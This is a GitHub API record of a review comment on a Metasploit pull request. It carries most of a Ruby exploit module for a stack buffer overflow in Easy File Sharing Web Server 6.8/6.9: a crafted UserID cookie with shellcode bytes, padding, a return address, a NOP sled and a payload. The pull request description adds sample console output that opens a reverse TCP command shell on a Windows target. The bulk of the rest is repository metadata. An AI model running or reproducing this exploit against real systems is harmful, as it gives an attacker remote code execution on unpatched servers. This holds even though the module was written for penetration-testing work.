{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/43669912","id":43669912,"diff_hunk":"@@ -0,0 +1,195 @@\n+##\n+## This module requires Metasploit: http://metasploit.com/download\n+## Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Exploit::Remote\n+  Rank = NormalRanking\n+\n+  include Msf::Exploit::Remote::Tcp\n+  include Msf::Exploit::Remote::HttpClient\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+                      'Name'           => 'Easy File Sharing Web Server Remote Code Execution',\n+                      'Description'    => %q{\n+        # Easy File Sharing Web Server v6.8\n+        # This module is a simple port of an exploit written by superkojiman.\n+        # https://www.exploit-db.com/exploits/33352/\n+        #\n+        # Exploit Title: Easy File Sharing Web Server 6.8 stack buffer overflow\n+        # Date: 10 May 2014\n+        # Exploit Author: superkojiman - http://www.techorganic.com\n+        # Tested on: English version of Windows XP Professional SP2 and SP3\n+        #\n+        # By setting UserID in the cookie to a long string, we can overwrite EDX which\n+        # allows us to control execution flow when the following instruction is\n+        # executed: 0x0045C8C2: CALL DWORD PTR DS:[EDX+28]\n+\n+        ------------------------------------------------------------------------------\n+\n+        # Easy File Sharing Web Server v6.9\n+        # This module is a simple port of an exploit written by Tracy Turben.\n+        # https://www.exploit-db.com/exploits/37951/\n+        #\n+        # Exploit Title: Easy File Sharing Web Server v6.9 - USERID Remote Buffer Overflow\n+        # Date:          2015-08-22\n+        # Author:        Tracy Turben (tracyturben@gmail.com)\n+        # Tested on:     Win7x32-EN,Win7x64-EN\n+        # Special Thanks To: Julien Ahrens for the crafted jmp esp Trick ;)\n+        # Credits for vulnerability discovery:\n+        # superkojiman (http://www.exploit-db.com/exploits/33453/)\n+        #\n+        # This module exploits the buffer used to store the USERID component of a HTTP request.\n+        # A specially crafted request will overflow this buffer resulting in arbitrary code\n+        # execution with the permissions of the user running the daemon.\n+                      },\n+                        'License' => MSF_LICENSE,\n+                        'Author'  =>\t[\n+                          'superkojiman - http://www.techorganic.com', # v6.8 exploit\n+                          'Tracy Turben - tracyturben@gmail.com', # v6.9 exploit\n+                          'thesubtlety - noah@thesubtlety.com', # Metasploit Module (v6.8)\n+                          'justarandomuser - justarandomuser@github.com', #Metasploit Module (v6.9)\n+                        ],\n+                        'References' =>\n+                        [\n+                          [  'URL', 'https://www.exploit-db.com/exploits/33352/'  ],\n+                          [  'URL', 'https://www.exploit-db.com/exploits/37951/'  ],\n+                        ],\n+                        'DisclosureDate' => 'May 10 2014', #v6.8\n+                        'DisclosureDate' => 'Aug 22 2015', #v6.9\n+                        'Platform' => 'win',\n+                        'Privileged' => false,\n+                        'Payload' =>\n+                          {\n+                          'BadChars' => \"\\x00\\x0a\\x0d\\x3b\\x20\",\n+                          'DisableNops' => true,\n+                          },\n+                        'Targets' =>\n+                        [\n+                          [ 'Automatic', {} ],\n+                          [ 'Easy File Sharing Web Server 6.8 (Windows XP Pro SP2/SP3)', {} ],\n+                          [ 'Easy File Sharing Web Server 6.9 (Windows 7 Home Premium SP1, x32/x64)', {} ],\n+                        ],\n+                        'DefaultOptions' => { 'EXITFUNC' => 'thread' },\n+                        'DefaultTarget' => 0))\n+  end\n+\n+  def check\n+    res = send_request_cgi({ 'uri' => '/' })\n+    if (res && res.headers['Server']) =~ /Easy File Sharing Web Server v(6\\..*)$/\n+      case $1\n+      when /6\\.8/\n+        return Exploit::CheckCode::Appears\n+      when /6\\.9/\n+        return Exploit::CheckCode::Appears\n+      else\n+        return Exploit::CheckCode::Unknown\n+      end\n+    end\n+    Exploit::CheckCode::Safe\n+  end\n+\n+  def req(sploit)\n+        send_request_cgi({\n+          'uri' => '/vfolder.ghp',\n+          'method' => 'GET',\n+          'headers' => {\n+            'Accept' => ' text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n+            'Accept-Language' => 'en-us',\n+            'Accept-Encoding' => 'gzip, deflate',\n+            'Cookie' => \"SESSIONID=6771; UserID=#{sploit}; PassWD=;\",\n+            'Connection' => 'Keep-Alive'\n+          }\n+        })\n+\n+  end\n+\n+  def exploit\n+    mytarget = target\n+\n+    if target.name =~ /Automatic/\n+      res = send_request_cgi({ 'uri' => '/' })\n+      if (res && res.headers['Server']) =~ /Easy File Sharing Web Server v(6\\..*)$/\n+        case $1\n+        when /6\\.8/\n+          mytarget = targets[1]\n+          print_status \"Using target #{mytarget.name}\"\n+        when /6\\.9/\n+          mytarget = targets[2]\n+          print_status \"Using target #{mytarget.name}\"\n+        else\n+          print_error \"No target found for version #{$1}\"\n+          return\n+        end\n+      end\n+    else\n+      print_error \"No target found\"\n+    end\n+\n+    case mytarget.name\n+      when /Windows XP/\n+        print_status \"Trying #{rhost}:#{rport}...\"\n+        print_status \"If at first you don't succeed, try, try again :)\"\n+        print_status \"We're guessing an address on the stack. It will be a few moments...\"\n+\n+        (1..255).each do |i|\n+          n =\n+            if i < 16\n+              '0' + i.to_s(16)\n+            else\n+              i.to_s\n+            end\n+\n+          # craft the value of EDX that will be used in CALL DWORD PTR DS:[EDX+28]\n+          guess = \"0x01\" + n + \"6940\"\n+\n+          sploit =  rand_text_alpha(64)               # padding\n+          sploit += \"\\x81\\xee\\x70\\xff\\xff\\xff\"        # SUB ESI,-90\n+          sploit += \"\\xff\\xe6\"                        # JMP ESI\n+          sploit += rand_text_alpha(8)                # padding\n+          sploit += [guess.to_i(16)].pack(\"<I\")       # overwrite EDX with\n+          # pointer to CALL ESI\n+          sploit += rand_text_alpha(108)              # padding\n+          sploit += [0x10023701].pack(\"<I\")           # pointer to CALL ESI\n+          sploit += make_nops(20)                     # NOP sled\n+          sploit += payload.encoded\n+\n+          req(sploit)\n+\n+          handler\n+          break if session_created?\n+        end\n+\n+       when /Windows 7/\n+         junk0 = \"\\x90\" * 80","path":"modules/exploits/windows/http/easy_file_sharing_web_server.rb","position":167,"original_position":167,"commit_id":"d1b52ae27c05dbd8343249915cd1e9dca5dba865","original_commit_id":"d1b52ae27c05dbd8343249915cd1e9dca5dba865","user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"body":"make_nops :-)","created_at":"2015-11-02T19:29:17Z","updated_at":"2015-11-02T19:29:17Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/6113#discussion_r43669912","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/43669912"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6113#discussion_r43669912"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113","id":48286114,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6113","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6113.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6113.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6113","number":6113,"state":"open","locked":false,"title":"Add Easy File Sharing Web Server v6.8 stack buffer overflow module","user":{"login":"thesubtlety","id":1726821,"avatar_url":"https://avatars.githubusercontent.com/u/1726821?v=3","gravatar_id":"","url":"https://api.github.com/users/thesubtlety","html_url":"https://github.com/thesubtlety","followers_url":"https://api.github.com/users/thesubtlety/followers","following_url":"https://api.github.com/users/thesubtlety/following{/other_user}","gists_url":"https://api.github.com/users/thesubtlety/gists{/gist_id}","starred_url":"https://api.github.com/users/thesubtlety/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thesubtlety/subscriptions","organizations_url":"https://api.github.com/users/thesubtlety/orgs","repos_url":"https://api.github.com/users/thesubtlety/repos","events_url":"https://api.github.com/users/thesubtlety/events{/privacy}","received_events_url":"https://api.github.com/users/thesubtlety/received_events","type":"User","site_admin":false},"body":"This module is a simple port of an exploit written by superkojiman.\r\nhttps://www.exploit-db.com/exploits/33352/\r\n\r\nJust trying my hand at this and not sure if ports of existing semi-aging exploits are even accepted.\r\nFun exercise either way. Shodan shows this still to be relevant ;)\r\n\r\nFrom the original write up:\r\n> Exploit Title: Easy File Sharing Web Server 6.8 stack buffer overflow\r\n> Date: 10 May 2014\r\n> Exploit Author: superkojiman - http://www.techorganic.com\r\n> Vendor Homepage: http://www.efssoft.com\r\n> Software Link: http://www.sharing-file.com/efssetup.exe\r\n> Old version available on exploit-db:\r\n> https://www.exploit-db.com/apps/248374bd2837028036540ea1ad62d55b-efssetup.exe\r\n> Version: 6.8\r\n> Tested on: English version of Windows XP Professional SP2 and SP3\r\n>\r\n> Description:\r\n> By setting UserID in the cookie to a long string, we can overwrite EDX\r\n> which allows us to control execution flow...\r\n\r\nVerification:\r\n * Install Easy File Sharing Web Server 6.8\r\n * Start server\r\n * Run module\r\n\r\n### Example Output\r\n\r\n    msf > use exploit/windows/http/easy_file_sharing_web_server\r\n    msf exploit(easy_file_sharing_web_server) > set rhost 192.168.0.40\r\n    rhost => 192.168.0.40\r\n    msf exploit(easy_file_sharing_web_server) > set payload\r\n    windows/shell/reverse_tcp\r\n    payload => windows/shell/reverse_tcp\r\n    msf exploit(easy_file_sharing_web_server) > set lhost 192.168.0.25\r\n    lhost => 192.168.0.25\r\n    msf exploit(easy_file_sharing_web_server) > exploit\r\n\r\n    [*] Started reverse handler on 192.168.0.25:4444\r\n    [*] Trying 192.168.0.40:80...\r\n    [*] If at first you don't succeed, try, try again :)\r\n    [*] We're guessing an address on the stack. It will be a few moments...\r\n    [*] Encoded stage with x86/shikata_ga_nai\r\n    [*] Sending encoded stage (267 bytes) to 192.168.0.40\r\n    [*] Command shell session 1 opened (192.168.0.25:4444 ->\r\n    192.168.0.40:1066) at 2015-10-17 18:01:27 -0400\r\n\r\n    Microsoft Windows XP [Version 5.1.2600]\r\n    (C) Copyright 1985-2001 Microsoft Corp.\r\n\r\n    C:\\Documents and Settings\\user\\Desktop>","created_at":"2015-10-21T04:04:35Z","updated_at":"2015-11-02T19:29:17Z","closed_at":null,"merged_at":null,"merge_commit_sha":"15aa511c34b278b8feec89b5186b152d64279b83","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6113/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/d1b52ae27c05dbd8343249915cd1e9dca5dba865","head":{"label":"thesubtlety:easy_file_sharing_web_server","ref":"easy_file_sharing_web_server","sha":"d1b52ae27c05dbd8343249915cd1e9dca5dba865","user":{"login":"thesubtlety","id":1726821,"avatar_url":"https://avatars.githubusercontent.com/u/1726821?v=3","gravatar_id":"","url":"https://api.github.com/users/thesubtlety","html_url":"https://github.com/thesubtlety","followers_url":"https://api.github.com/users/thesubtlety/followers","following_url":"https://api.github.com/users/thesubtlety/following{/other_user}","gists_url":"https://api.github.com/users/thesubtlety/gists{/gist_id}","starred_url":"https://api.github.com/users/thesubtlety/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thesubtlety/subscriptions","organizations_url":"https://api.github.com/users/thesubtlety/orgs","repos_url":"https://api.github.com/users/thesubtlety/repos","events_url":"https://api.github.com/users/thesubtlety/events{/privacy}","received_events_url":"https://api.github.com/users/thesubtlety/received_events","type":"User","site_admin":false},"repo":{"id":43796326,"name":"metasploit-framework","full_name":"thesubtlety/metasploit-framework","owner":{"login":"thesubtlety","id":1726821,"avatar_url":"https://avatars.githubusercontent.com/u/1726821?v=3","gravatar_id":"","url":"https://api.github.com/users/thesubtlety","html_url":"https://github.com/thesubtlety","followers_url":"https://api.github.com/users/thesubtlety/followers","following_url":"https://api.github.com/users/thesubtlety/following{/other_user}","gists_url":"https://api.github.com/users/thesubtlety/gists{/gist_id}","starred_url":"https://api.github.com/users/thesubtlety/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thesubtlety/subscriptions","organizations_url":"https://api.github.com/users/thesubtlety/orgs","repos_url":"https://api.github.com/users/thesubtlety/repos","events_url":"https://api.github.com/users/thesubtlety/events{/privacy}","received_events_url":"https://api.github.com/users/thesubtlety/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/thesubtlety/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/thesubtlety/metasploit-framework","forks_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/forks","keys_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/events","assignees_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/merges","archive_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/thesubtlety/metasploit-framework/releases{/id}","created_at":"2015-10-07T05:10:42Z","updated_at":"2015-10-07T05:11:19Z","pushed_at":"2015-10-26T01:28:30Z","git_url":"git://github.com/thesubtlety/metasploit-framework.git","ssh_url":"git@github.com:thesubtlety/metasploit-framework.git","clone_url":"https://github.com/thesubtlety/metasploit-framework.git","svn_url":"https://github.com/thesubtlety/metasploit-framework","homepage":"http://www.metasploit.com/","size":286666,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"70b005de7f059c8a0dd32c496d3036233cff6390","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-11-02T17:51:16Z","pushed_at":"2015-11-02T18:49:55Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1100058,"stargazers_count":4722,"watchers_count":4722,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3520,"mirror_url":null,"open_issues_count":228,"forks":3520,"open_issues":228,"watchers":4722,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6113"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6113"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6113/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6113/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/d1b52ae27c05dbd8343249915cd1e9dca5dba865"}}}}